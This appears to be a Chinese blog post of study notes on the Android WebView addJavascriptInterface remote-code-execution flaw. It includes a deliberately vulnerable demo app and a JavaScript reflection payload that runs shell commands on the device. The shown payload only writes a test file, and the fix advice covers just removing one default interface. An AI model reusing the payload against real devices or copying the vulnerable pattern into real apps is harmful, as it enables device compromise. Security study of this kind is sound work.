app安全测试之WebView rce学习笔记

0x00 漏洞原理

由于Webview组件有一个方法(AddJavascripInterface),该方法可以对javascript与android应用交互,接着攻击者可以找到存在“getClass”方法的对象,然后通过反射的机制,得到Java Runtime对象,然后调用静态方法来执行系统命令。

0x01 漏洞demo演示

为了进一步搞清楚这个漏洞,我写了个包含有该漏洞的android应用程序,下面为核心代码

#记得给权限android.permission.INTERNET
 
private static final String url="http://www.leesec.info/mobilelab/webview_rce.html";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);	
this.requestWindowFeature(Window.FEATURE_NO_TITLE);
setContentView(R.layout.activity_first);
WebView mWebView = (WebView) this.findViewById(R.id.wv_oauth);//实例化对象
mWebView.getSettings().setJavaScriptEnabled(true);//开启javascript支持
mWebView.addJavascriptInterface(this, "injectedObj");
mWebView.loadUrl(url);//加载网页
}

接着webview_rce.html的部分内容为

function execute(cmdArgs)
{
   return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); 
}        
execute(['/system/bin/sh','-c','echo  "this is a test" > /cache/check.txt']);

如果程序运行成功,但是cache目录下没有生成check.txt文件,我找到原因是cache目录权限太小,给777后,发现运行app后,文件成功写入到android系统内。

0x03 漏洞修复方法

检查WebView类中的addJavascriptInterface方法,是否存在searchBoxJavaBridge_接口
调用 removeJavascriptInterface(“searchBoxJavaBridge_”)移除默认接口

app安全测试之WebView rce学习笔记》上有1条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注

您可以使用这些HTML标签和属性: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>